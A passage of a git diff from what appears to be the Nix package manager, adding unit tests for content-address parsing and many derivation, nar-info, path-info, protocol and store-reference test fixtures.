"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + }, + })) + +CHARACTERIZATION_TEST( + optionalContentAddress, + "optional-content-address", + (std::tuple, std::optional> { + std::nullopt, + std::optional { + ContentAddress { + .method = ContentAddressMethod::Raw::Flat, + .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), + }, + }, + })) + +} diff --git a/tests/unit/libstore/content-address.cc b/tests/unit/libstore/content-address.cc new file mode 100644 index 000000000..72eb84fec --- /dev/null +++ b/tests/unit/libstore/content-address.cc @@ -0,0 +1,37 @@ +#include + +#include "content-address.hh" + +namespace nix { + +/* ---------------------------------------------------------------------------- + * ContentAddressMethod::parse, ContentAddressMethod::render + * --------------------------------------------------------------------------*/ + +TEST(ContentAddressMethod, testRoundTripPrintParse_1) { + for (ContentAddressMethod cam : { + ContentAddressMethod::Raw::Text, + ContentAddressMethod::Raw::Flat, + ContentAddressMethod::Raw::NixArchive, + ContentAddressMethod::Raw::Git, + }) { + EXPECT_EQ(ContentAddressMethod::parse(cam.render()), cam); + } +} + +TEST(ContentAddressMethod, testRoundTripPrintParse_2) { + for (const std::string_view camS : { + "text", + "flat", + "nar", + "git", + }) { + EXPECT_EQ(ContentAddressMethod::parse(camS).render(), camS); + } +} + +TEST(ContentAddressMethod, testParseContentAddressMethodOptException) { + EXPECT_THROW(ContentAddressMethod::parse("narwhal"), UsageError); +} + +} diff --git a/tests/unit/libstore/data/common-protocol/content-address.bin b/tests/unit/libstore/data/common-protocol/content-address.bin new file mode 100644 index 000000000..8f14bcdb3 Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/content-address.bin differ diff --git a/tests/unit/libstore/data/common-protocol/drv-output.bin b/tests/unit/libstore/data/common-protocol/drv-output.bin new file mode 100644 index 000000000..800a45fd8 Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/drv-output.bin differ diff --git a/tests/unit/libstore/data/common-protocol/optional-content-address.bin b/tests/unit/libstore/data/common-protocol/optional-content-address.bin new file mode 100644 index 000000000..f8cfe65ba Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/optional-content-address.bin differ diff --git a/tests/unit/libstore/data/common-protocol/optional-store-path.bin b/tests/unit/libstore/data/common-protocol/optional-store-path.bin new file mode 100644 index 000000000..4fbca5576 Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/optional-store-path.bin differ diff --git a/tests/unit/libstore/data/common-protocol/realisation.bin b/tests/unit/libstore/data/common-protocol/realisation.bin new file mode 100644 index 000000000..2176c6c4a Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/realisation.bin differ diff --git a/tests/unit/libstore/data/common-protocol/set.bin b/tests/unit/libstore/data/common-protocol/set.bin new file mode 100644 index 000000000..ce11ede7f Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/set.bin differ diff --git a/tests/unit/libstore/data/common-protocol/store-path.bin b/tests/unit/libstore/data/common-protocol/store-path.bin new file mode 100644 index 000000000..3fc05f298 Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/store-path.bin differ diff --git a/tests/unit/libstore/data/common-protocol/string.bin b/tests/unit/libstore/data/common-protocol/string.bin new file mode 100644 index 000000000..aa7b5a604 Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/string.bin differ diff --git a/tests/unit/libstore/data/common-protocol/vector.bin b/tests/unit/libstore/data/common-protocol/vector.bin new file mode 100644 index 000000000..7a37c8cd1 Binary files /dev/null and b/tests/unit/libstore/data/common-protocol/vector.bin differ diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv new file mode 120000 index 000000000..353090ad8 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-defaults.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json new file mode 100644 index 000000000..d58e7d5b5 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json @@ -0,0 +1,22 @@ +{ + "args": [ + "-c", + "echo hello > $out" + ], + "builder": "/bin/bash", + "env": { + "builder": "/bin/bash", + "name": "advanced-attributes-defaults", + "out": "/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults", + "system": "my-system" + }, + "inputDrvs": {}, + "inputSrcs": [], + "name": "advanced-attributes-defaults", + "outputs": { + "out": { + "path": "/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults" + } + }, + "system": "my-system" +} diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv new file mode 120000 index 000000000..11713da12 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json new file mode 100644 index 000000000..473d006ac --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json @@ -0,0 +1,24 @@ +{ + "args": [ + "-c", + "echo hello > $out" + ], + "builder": "/bin/bash", + "env": { + "__json": "{\"builder\":\"/bin/bash\",\"name\":\"advanced-attributes-structured-attrs-defaults\",\"outputs\":[\"out\",\"dev\"],\"system\":\"my-system\"}", + "dev": "/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev", + "out": "/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults" + }, + "inputDrvs": {}, + "inputSrcs": [], + "name": "advanced-attributes-structured-attrs-defaults", + "outputs": { + "dev": { + "path": "/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev" + }, + "out": { + "path": "/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults" + } + }, + "system": "my-system" +} diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv new file mode 120000 index 000000000..962f8ea3f --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-structured-attrs.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json new file mode 100644 index 000000000..324428124 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json @@ -0,0 +1,41 @@ +{ + "args": [ + "-c", + "echo hello > $out" + ], + "builder": "/bin/bash", + "env": { + "__json": "{\"__darwinAllowLocalNetworking\":true,\"__impureHostDeps\":[\"/usr/bin/ditto\"],\"__noChroot\":true,\"__sandboxProfile\":\"sandcastle\",\"allowSubstitutes\":false,\"builder\":\"/bin/bash\",\"impureEnvVars\":[\"UNICORN\"],\"name\":\"advanced-attributes-structured-attrs\",\"outputChecks\":{\"bin\":{\"disallowedReferences\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"],\"disallowedRequisites\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"]},\"dev\":{\"maxClosureSize\":5909,\"maxSize\":789},\"out\":{\"allowedReferences\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"],\"allowedRequisites\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"]}},\"outputs\":[\"out\",\"bin\",\"dev\"],\"preferLocalBuild\":true,\"requiredSystemFeatures\":[\"rainbow\",\"uid-range\"],\"system\":\"my-system\"}", + "bin": "/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin", + "dev": "/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev", + "out": "/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs" + }, + "inputDrvs": { + "/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv": { + "dynamicOutputs": {}, + "outputs": [ + "out" + ] + }, + "/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv": { + "dynamicOutputs": {}, + "outputs": [ + "out" + ] + } + }, + "inputSrcs": [], + "name": "advanced-attributes-structured-attrs", + "outputs": { + "bin": { + "path": "/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin" + }, + "dev": { + "path": "/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev" + }, + "out": { + "path": "/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs" + } + }, + "system": "my-system" +} diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/tests/unit/libstore/data/derivation/advanced-attributes.drv new file mode 120000 index 000000000..2a53a05ca --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv b/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv new file mode 100644 index 000000000..3cd1ded02 --- /dev/null +++ b/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv @@ -0,0 +1 @@ +Derive([],[("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv",(["cat","dog"],[("cat",["kitten"]),("goose",["gosling"])]))],["/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"],"wasm-sel4","foo",["bar","baz"],[("BIG_BAD","WOLF")]) \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/bad-version.drv b/tests/unit/libstore/data/derivation/bad-version.drv new file mode 100644 index 000000000..bbf75c114 --- /dev/null +++ b/tests/unit/libstore/data/derivation/bad-version.drv @@ -0,0 +1 @@ +DrvWithVersion("invalid-version",[],[("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv",["cat","dog"])],["/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"],"wasm-sel4","foo",["bar","baz"],[("BIG_BAD","WOLF")]) \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/dynDerivationDeps.drv b/tests/unit/libstore/data/derivation/dynDerivationDeps.drv new file mode 100644 index 000000000..cfffe48ec --- /dev/null +++ b/tests/unit/libstore/data/derivation/dynDerivationDeps.drv @@ -0,0 +1 @@ +DrvWithVersion("xp-dyn-drv",[],[("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv",(["cat","dog"],[("cat",["kitten"]),("goose",["gosling"])]))],["/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"],"wasm-sel4","foo",["bar","baz"],[("BIG_BAD","WOLF")]) \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/dynDerivationDeps.json b/tests/unit/libstore/data/derivation/dynDerivationDeps.json new file mode 100644 index 000000000..9dbeb1f15 --- /dev/null +++ b/tests/unit/libstore/data/derivation/dynDerivationDeps.json @@ -0,0 +1,38 @@ +{ + "args": [ + "bar", + "baz" + ], + "builder": "foo", + "env": { + "BIG_BAD": "WOLF" + }, + "inputDrvs": { + "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv": { + "dynamicOutputs": { + "cat": { + "dynamicOutputs": {}, + "outputs": [ + "kitten" + ] + }, + "goose": { + "dynamicOutputs": {}, + "outputs": [ + "gosling" + ] + } + }, + "outputs": [ + "cat", + "dog" + ] + } + }, + "inputSrcs": [ + "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1" + ], + "name": "dyn-dep-derivation", + "outputs": {}, + "system": "wasm-sel4" +} diff --git a/tests/unit/libstore/data/derivation/output-caFixedFlat.json b/tests/unit/libstore/data/derivation/output-caFixedFlat.json new file mode 100644 index 000000000..7001ea0a9 --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-caFixedFlat.json @@ -0,0 +1,6 @@ +{ + "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f", + "hashAlgo": "sha256", + "method": "flat", + "path": "/nix/store/rhcg9h16sqvlbpsa6dqm57sbr2al6nzg-drv-name-output-name" +} diff --git a/tests/unit/libstore/data/derivation/output-caFixedNAR.json b/tests/unit/libstore/data/derivation/output-caFixedNAR.json new file mode 100644 index 000000000..54eb306e6 --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-caFixedNAR.json @@ -0,0 +1,6 @@ +{ + "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f", + "hashAlgo": "sha256", + "method": "nar", + "path": "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-drv-name-output-name" +} diff --git a/tests/unit/libstore/data/derivation/output-caFixedText.json b/tests/unit/libstore/data/derivation/output-caFixedText.json new file mode 100644 index 000000000..e8a651860 --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-caFixedText.json @@ -0,0 +1,6 @@ +{ + "hash": "894517c9163c896ec31a2adbd33c0681fd5f45b2c0ef08a64c92a03fb97f390f", + "hashAlgo": "sha256", + "method": "text", + "path": "/nix/store/6s1zwabh956jvhv4w9xcdb5jiyanyxg1-drv-name-output-name" +} diff --git a/tests/unit/libstore/data/derivation/output-caFloating.json b/tests/unit/libstore/data/derivation/output-caFloating.json new file mode 100644 index 000000000..8b9b5f681 --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-caFloating.json @@ -0,0 +1,4 @@ +{ + "hashAlgo": "sha256", + "method": "nar" +} diff --git a/tests/unit/libstore/data/derivation/output-deferred.json b/tests/unit/libstore/data/derivation/output-deferred.json new file mode 100644 index 000000000..0967ef424 --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-deferred.json @@ -0,0 +1 @@ +{} diff --git a/tests/unit/libstore/data/derivation/output-impure.json b/tests/unit/libstore/data/derivation/output-impure.json new file mode 100644 index 000000000..bec03702b --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-impure.json @@ -0,0 +1,5 @@ +{ + "hashAlgo": "sha256", + "impure": true, + "method": "nar" +} diff --git a/tests/unit/libstore/data/derivation/output-inputAddressed.json b/tests/unit/libstore/data/derivation/output-inputAddressed.json new file mode 100644 index 000000000..86c7f3a05 --- /dev/null +++ b/tests/unit/libstore/data/derivation/output-inputAddressed.json @@ -0,0 +1,3 @@ +{ + "path": "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-drv-name-output-name" +} diff --git a/tests/unit/libstore/data/derivation/simple.drv b/tests/unit/libstore/data/derivation/simple.drv new file mode 100644 index 000000000..bda74ad25 --- /dev/null +++ b/tests/unit/libstore/data/derivation/simple.drv @@ -0,0 +1 @@ +Derive([],[("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv",["cat","dog"])],["/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"],"wasm-sel4","foo",["bar","baz"],[("BIG_BAD","WOLF")]) \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/simple.json b/tests/unit/libstore/data/derivation/simple.json new file mode 100644 index 000000000..20d0f8933 --- /dev/null +++ b/tests/unit/libstore/data/derivation/simple.json @@ -0,0 +1,25 @@ +{ + "args": [ + "bar", + "baz" + ], + "builder": "foo", + "env": { + "BIG_BAD": "WOLF" + }, + "inputDrvs": { + "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv": { + "dynamicOutputs": {}, + "outputs": [ + "cat", + "dog" + ] + } + }, + "inputSrcs": [ + "/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1" + ], + "name": "simple-derivation", + "outputs": {}, + "system": "wasm-sel4" +} diff --git a/src/libstore/tests/test-data/machines.bad_format b/tests/unit/libstore/data/machines/bad_format similarity index 100% rename from src/libstore/tests/test-data/machines.bad_format rename to tests/unit/libstore/data/machines/bad_format diff --git a/src/libstore/tests/test-data/machines.valid b/tests/unit/libstore/data/machines/valid similarity index 100% rename from src/libstore/tests/test-data/machines.valid rename to tests/unit/libstore/data/machines/valid diff --git a/tests/unit/libstore/data/nar-info/impure.json b/tests/unit/libstore/data/nar-info/impure.json new file mode 100644 index 000000000..bb9791a6a --- /dev/null +++ b/tests/unit/libstore/data/nar-info/impure.json @@ -0,0 +1,20 @@ +{ + "ca": "fixed:r:sha256:1lr187v6dck1rjh2j6svpikcfz53wyl3qrlcbb405zlh13x0khhh", + "compression": "xz", + "deriver": "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + "downloadHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "downloadSize": 4029176, + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 34878, + "references": [ + "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + "/nix/store/n5wkd9frr45pa74if5gpz9j7mifg27fh-foo" + ], + "registrationTime": 23423, + "signatures": [ + "asdf", + "qwer" + ], + "ultimate": true, + "url": "nar/1w1fff338fvdw53sqgamddn1b2xgds473pv6y13gizdbqjv4i5p3.nar.xz" +} diff --git a/tests/unit/libstore/data/nar-info/pure.json b/tests/unit/libstore/data/nar-info/pure.json new file mode 100644 index 000000000..955baec31 --- /dev/null +++ b/tests/unit/libstore/data/nar-info/pure.json @@ -0,0 +1,9 @@ +{ + "ca": "fixed:r:sha256:1lr187v6dck1rjh2j6svpikcfz53wyl3qrlcbb405zlh13x0khhh", + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 34878, + "references": [ + "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + "/nix/store/n5wkd9frr45pa74if5gpz9j7mifg27fh-foo" + ] +} diff --git a/tests/unit/libstore/data/path-info/empty_impure.json b/tests/unit/libstore/data/path-info/empty_impure.json new file mode 100644 index 000000000..be982dcef --- /dev/null +++ b/tests/unit/libstore/data/path-info/empty_impure.json @@ -0,0 +1,10 @@ +{ + "ca": null, + "deriver": null, + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 0, + "references": [], + "registrationTime": null, + "signatures": [], + "ultimate": false +} diff --git a/tests/unit/libstore/data/path-info/empty_pure.json b/tests/unit/libstore/data/path-info/empty_pure.json new file mode 100644 index 000000000..10d9f508a --- /dev/null +++ b/tests/unit/libstore/data/path-info/empty_pure.json @@ -0,0 +1,6 @@ +{ + "ca": null, + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 0, + "references": [] +} diff --git a/tests/unit/libstore/data/path-info/impure.json b/tests/unit/libstore/data/path-info/impure.json new file mode 100644 index 000000000..0c452cc49 --- /dev/null +++ b/tests/unit/libstore/data/path-info/impure.json @@ -0,0 +1,16 @@ +{ + "ca": "fixed:r:sha256:1lr187v6dck1rjh2j6svpikcfz53wyl3qrlcbb405zlh13x0khhh", + "deriver": "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 34878, + "references": [ + "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + "/nix/store/n5wkd9frr45pa74if5gpz9j7mifg27fh-foo" + ], + "registrationTime": 23423, + "signatures": [ + "asdf", + "qwer" + ], + "ultimate": true +} diff --git a/tests/unit/libstore/data/path-info/pure.json b/tests/unit/libstore/data/path-info/pure.json new file mode 100644 index 000000000..955baec31 --- /dev/null +++ b/tests/unit/libstore/data/path-info/pure.json @@ -0,0 +1,9 @@ +{ + "ca": "fixed:r:sha256:1lr187v6dck1rjh2j6svpikcfz53wyl3qrlcbb405zlh13x0khhh", + "narHash": "sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc=", + "narSize": 34878, + "references": [ + "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + "/nix/store/n5wkd9frr45pa74if5gpz9j7mifg27fh-foo" + ] +} diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin new file mode 100644 index 000000000..61e1d9728 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin new file mode 100644 index 000000000..045c2ff2b Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin new file mode 100644 index 000000000..5c5345883 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin b/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin new file mode 100644 index 000000000..1bc7b02db Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin new file mode 100644 index 000000000..ae684778b Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin new file mode 100644 index 000000000..d51e08dfc Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin b/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin new file mode 100644 index 000000000..b02c706ea Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/content-address.bin b/tests/unit/libstore/data/serve-protocol/content-address.bin new file mode 100644 index 000000000..8f14bcdb3 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/content-address.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/drv-output.bin b/tests/unit/libstore/data/serve-protocol/drv-output.bin new file mode 100644 index 000000000..800a45fd8 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/drv-output.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin b/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin new file mode 100644 index 000000000..15ba4b5e3 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/optional-content-address.bin b/tests/unit/libstore/data/serve-protocol/optional-content-address.bin new file mode 100644 index 000000000..f8cfe65ba Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/optional-content-address.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/optional-store-path.bin b/tests/unit/libstore/data/serve-protocol/optional-store-path.bin new file mode 100644 index 000000000..4fbca5576 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/optional-store-path.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/realisation.bin b/tests/unit/libstore/data/serve-protocol/realisation.bin new file mode 100644 index 000000000..2176c6c4a Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/realisation.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/set.bin b/tests/unit/libstore/data/serve-protocol/set.bin new file mode 100644 index 000000000..ce11ede7f Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/set.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/store-path.bin b/tests/unit/libstore/data/serve-protocol/store-path.bin new file mode 100644 index 000000000..3fc05f298 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/store-path.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/string.bin b/tests/unit/libstore/data/serve-protocol/string.bin new file mode 100644 index 000000000..aa7b5a604 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/string.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin new file mode 100644 index 000000000..8056ec055 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin new file mode 100644 index 000000000..521b5c423 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin differ diff --git a/tests/unit/libstore/data/serve-protocol/vector.bin b/tests/unit/libstore/data/serve-protocol/vector.bin new file mode 100644 index 000000000..7a37c8cd1 Binary files /dev/null and b/tests/unit/libstore/data/serve-protocol/vector.bin differ diff --git a/tests/unit/libstore/data/store-reference/auto.txt b/tests/unit/libstore/data/store-reference/auto.txt new file mode 100644 index 000000000..4d18c3e59 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/auto.txt @@ -0,0 +1 @@ +auto \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/auto_param.txt b/tests/unit/libstore/data/store-reference/auto_param.txt new file mode 100644 index 000000000..54adabb25 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/auto_param.txt @@ -0,0 +1 @@ +auto?root=/foo/bar/baz \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_1.txt b/tests/unit/libstore/data/store-reference/local_1.txt new file mode 100644 index 000000000..74b1b9677 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_1.txt @@ -0,0 +1 @@ +local://?root=/foo/bar/baz \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_2.txt b/tests/unit/libstore/data/store-reference/local_2.txt new file mode 100644 index 000000000..8b5593fb1 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_2.txt @@ -0,0 +1 @@ +local:///foo/bar/baz?trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_1.txt b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt new file mode 100644 index 000000000..896189be9 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt @@ -0,0 +1 @@ +local?root=/foo/bar/baz \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_2.txt b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt new file mode 100644 index 000000000..7a9dad3b3 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt @@ -0,0 +1 @@ +/foo/bar/baz?trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/ssh.txt b/tests/unit/libstore/data/store-reference/ssh.txt new file mode 100644 index 000000000..8c61010ec --- /dev/null +++ b/tests/unit/libstore/data/store-reference/ssh.txt @@ -0,0 +1 @@ +ssh://localhost \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/unix.txt b/tests/unit/libstore/data/store-reference/unix.txt new file mode 100644 index 000000000..195489048 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/unix.txt @@ -0,0 +1 @@ +unix://?max-connections=7&trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/unix_shorthand.txt b/tests/unit/libstore/data/store-reference/unix_shorthand.txt new file mode 100644 index 000000000..0300337e9 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/unix_shorthand.txt @@ -0,0 +1 @@ +daemon?max-connections=7&trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/worker-protocol/build-mode.bin b/tests/unit/libstore/data/worker-protocol/build-mode.bin new file mode 100644 index 000000000..51b239409 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/build-mode.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin new file mode 100644 index 000000000..ae684778b Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin new file mode 100644 index 000000000..74bcd5cf9 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin new file mode 100644 index 000000000..b02c706ea Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin b/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin new file mode 100644 index 000000000..7d6e43fff Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin differ diff --git 